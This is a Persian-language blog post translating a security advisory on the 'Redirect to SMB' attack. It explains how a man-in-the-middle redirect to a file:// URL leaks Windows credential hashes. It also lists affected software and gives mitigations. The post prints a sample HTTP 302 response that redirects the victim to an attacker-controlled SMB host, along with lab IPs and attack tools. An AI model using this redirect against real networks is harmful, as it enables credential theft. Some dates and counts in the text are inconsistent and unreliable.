حمله‌ی «ریدایرکت به SMB»- یک باگ ۱۸ ساله!

سلام

SPEAR - Redirect to SMB By Brian Wallace

در این روش ما تکنیک جدیدی رو کشف کردیم که به واسطه‌ی اون می تونید داده‌های حساسی که برای لاگین‌کردن استفاده می شه رو به سرقت ببرید. این روش روی تمام سیستم‌های ویندوزی، تبلت‌ یا سرور جواب می ده. حداقل نرم‌افزارهای مربوط به ۳۱ شرکت بزرگ نسبت به این روش آسیب‌پذیرند؛ شرکت هایی مثل Adob، Apple، Box، Microsoft، Oracle و Symantec. گروه CERT دانشگاه Carnegie Mellon این آسیب‌پذیری رو کشف کردند و بعد از ۶ هفته کار و همکاری با این شرکت‌ها، سه روز پیش (۲۴ فروردین ۱۳۹۳ یا ۱۳ آوریل) این قضیه رو عمومی کردند.

در «ریدایرکت به SMB» هکر با استفاده از حمله‌ی مردی-در-میان بین سرور و شما قرار می گیره و با ارسال داده‌ها به یک سرور آلوده‌ی SMB، سرور رو مجبور به اعتراف می‌کنه(!) و سرور هم دودستی یوزرنیم، دامنه و پسورد هش‌شده رو، به جناب هکر تقدیم می‌کنه. برای مشاهده جزئیات این حمله به این مقاله ۱۸ صفحه‌ای مراجعه کنید.

RedirectToSMB banner

کلیات حمله

«ریدایرکت به SMB» اولین بار در سال ۱۹۹۷ توسط آرون اسپنگلر کشف شد؛ آرون به این موضوع رسید که در اینترنت‌اکسپلورر، URLهایی که با کلمه‌ی «file» شروع می شن، (مثل file://1.1.1.1 ) سیستم‌عامل رو مجبور می کنند تا با سرور SMB با آدرس ۱.۱.۱.۱ اعتبارسنجی کنه. این قضیه یک خطر جدی به حساب میومد چون شما با استفاده از یک اعتبارسنجی سرقتی، می تونستید به حساب خصوصی افراد دسترسی پیدا کرده و داده‌های اون‌ها رو بدزدید یا حتی کنترل کامپیوترشون رو به دست بگیرید و اگر این کامپیوتر در یک شبکه قرار داشت حمله‌ی خودتون رو گسترش بدید... URLهایی که با file شروع می‌شوند ممکنه به یک عکس،iframe یا هر چیز دیگه‌ای مربوط بشه.

در حمله‌ی جدید سعی کردیم از قابلیت پیش‌نمایش عکس‌ها در سرویس چت، سوء استفاده کنیم. وقتی URLـه مربوط به یک عکس به کلاینت ارسال میشه، کلاینت پیش‌نمایشی از عکس رو نشون می‌ده. با الهام گرفتن از تحقیقات آرون در ۱۸ سال پیش، به یک کاربر دیگه URLای رو ارسال کردیم که با file شروع میشد و مربوط به یک سرور SMB آلوده بود. در نتیجه‌ی این کار، کاربر چت سعی کرد عکس رو بارگزاری کنه و به دنبال اون هم، کاربر ویندوزی در طرف دیگر، اعتبارسنجی خودش رو برای سرور SMB ما ارسال کرد.

RedirectToSMB Diagram 1

در تحقیقات قبلی‌مان روی پروتکل‌های شبکه، در خصوص ریدایرکت درخواست‌های HTTP به صورت عادی به سمت سرور و به منظور شناسایی حملات جدید، تجربیاتی را کسب کردیم. برای همین کنجکاو بودیم که اگر SMB رو با ریدایرکت ترکیب کنیم با چه تهدیداتی مواجه خواهیم شد. با پایتون یک سرور HTTP نوشتیم که تمام درخواست‌ها رو با کد وضعیت HTTP 302 و به منظور ریدایرکت کاربر به URLای از نوع //:fileجواب می داد.در نتیجه فهمیدیم می‌تونیم کاری کنیم که URLهای //:http باعث تلاش سیستم‌عامل، جهت اعتبارسنجی بشه.

GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0,( Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Endoding: gzip, deflate
Host: 192.168.36.207
DNT: 1
Connection: Keep-Alive

HTTP/1.1 302 Found
Content-Type: text/html
Location: file://192.168.36.207/mitmproxy-identifier
Content-Length: 0

RedirectToSMB Diagram 2

خوب دیگه! فهمیدیم که ۴ تابع API از ویندوز وجود داره که برای کارهای ریدایرکت (HTTP(s به SMB مورد استفاده قرار می‌گیره و استفاده از اون‌ها در ابزارهای گزارش‌دهی و بروزرسانی بسیار مرسومه.

بنابراین این روش باعث حملات وسیعی خواهد شد. زمانی که این حمله را با مردی-در-میان ترکیب کنیم، هکر، سرور SMB رو با استفاده از ابزارهایی که داده‌های خودشون رو از طریق  (HTTP(s جابجا می کنند وادار می کنه تا باعث تلاش‌هایی در راستای اعتبارسنجی بشن.

RedirectToSMB Diagram 3

برنامه‌های آسیب پذیر

ما در آزمایشگاه ۱۲ برنامه رو تحت آزمایش قرار دادیم و متوجه شدیم که این آسیب‌پذیری در ۳۱ مورد از بسته‌های نرم‌افزاری وجود داره که لیست اون‌ها رو در ادامه میارم:
ابزارهای کاربردی:

Adobe Reader, Apple QuickTime & Apple Software Update (which handles the updating for iTunes)

برنامه‌های مایکروسافت:

Internet Explorer, Windows Media Player, Excel 2010,  Microsoft Baseline Security Analyzer

آنتی ویروس ها:

Symantec’s Norton Security Scan, AVG Free, BitDefender Free, Comodo Antivirus

ابزارهای امنیتی:

.NET Reflector, Maltego CE

ابزارهای کار گروهی:

Box Sync, TeamViewer

ابزارهای توسعه:

Github for Windows, PyCharm, IntelliJ IDEA, PHP Storm, JDK 8u31’s installer

دامنه‌ی تاثیر

اکسپلوییت «ریدایرکت به SMB» جزو روش‌های سخت و حرفه‌ای به حساب میاد. چون قبل از حمله، هکر باید کنترل تمام یا بخشی از ترافیک یک شبکه رو در اختیار قرار بگیره.

آگهی‌های تبلیغاتی آلوده نیز می‌تونه باعث بروز این حمله برای کاربران IE بشه. چراکه ممکنه هکر، کدهای مخرب رو در این آگهی‌ها مخفی کنه.

نوع دیگه‌ای از پیاده‌سازی این حمله می تونه به وسیله‌ی نقاط دسترسی WiFi مثل کافی‌شاپ‌ها یا دانشگاه‌ها صورت بگیره. چراکه ترافیک شبکه در وای‌فای به صورت همه‌پخشی است. (البته منظورم Broadcasting نیست دیگه!) ما این حمله رو با استفاده از یک دستگاه نکسوس۷ روی یک شبکه‌ی خانگی تست کردیم و به نتیجه هم رسیدیم!

مثال
سناریو‌های مختلفی برای این حمله وجود داره. ما شرایط رو برای این مثال آموزشی بسیار ساده در نظر گرفتیم. در زیر آی‌پی مربوط به هر بازیگر رو مشخص کردیم:

• 192.168.36.207 – The Attacker
• 192.168.36.247 – The Victim
• 192.168.36.128 – The Router/Internet Gateway

ابزارهای مورد استفاده:

•  SMBTrap2
• SMBTrap-mitmproxy-inline.py
• MITMProxy
• Zarp

ادامه‌ی حمله رو در این مقاله ببینید :دی

لینک ویدئوی حمله به AVG با استفاده از مسموم سازی ARP

ویدئوی حمله به Microsoft Baseline Security Analyzer با استفاده از تغییر رکوردهای DNS

رمزنگاری اعتبارسنجی

متاسفانه روشی که برای اعتبارسنجی SMB استفاده میشه مربوط به سال ۱۹۹۸ـه. استفاده از الگوریتم‌های قوی‌تر در هش‌کردن ممکنه تاثیر این قضیه رو کمتر کنه؛ اما بهترین کار اینه که اعتبارسنجی خودکار رو نسبت به سرورهای نامطمئن SMB غیرفعال کنید. یک هکر با GPUای ۳۰۰۰ دلاری، یک پسورد ۸ کارکتری که شامل حروف بزرگ و کوچک و اعداد باشه رو در کمتر از نصف روز کرک می کنه.

درمان آسیب‌پذیری

بهترین راه اینه که کلا ترافیک مربوط به پورت‌های TCP 139 و TCP 445 رو غیرفعال کنید یا اینکه فایروال رو به گونه‌ای تنظیم کنید که این پورت‌ها برای بیرون از شبکه بسته باشند.

و طبق رسم همیشگی: در پایان یک سری فحش که نثار مایکروسافت میشهcheeky

لینک مقاله:

http://blog.cylance.com/redirect-to-smb

ترجمه توسط: تمدن
تاریخ ساخت: April 13, 2015 یا ۲۴ فروردین ۱۳۹۴
تاریخ انتشار: April 16, 2015 یا ۲۷ فروردین ۱۳۹۴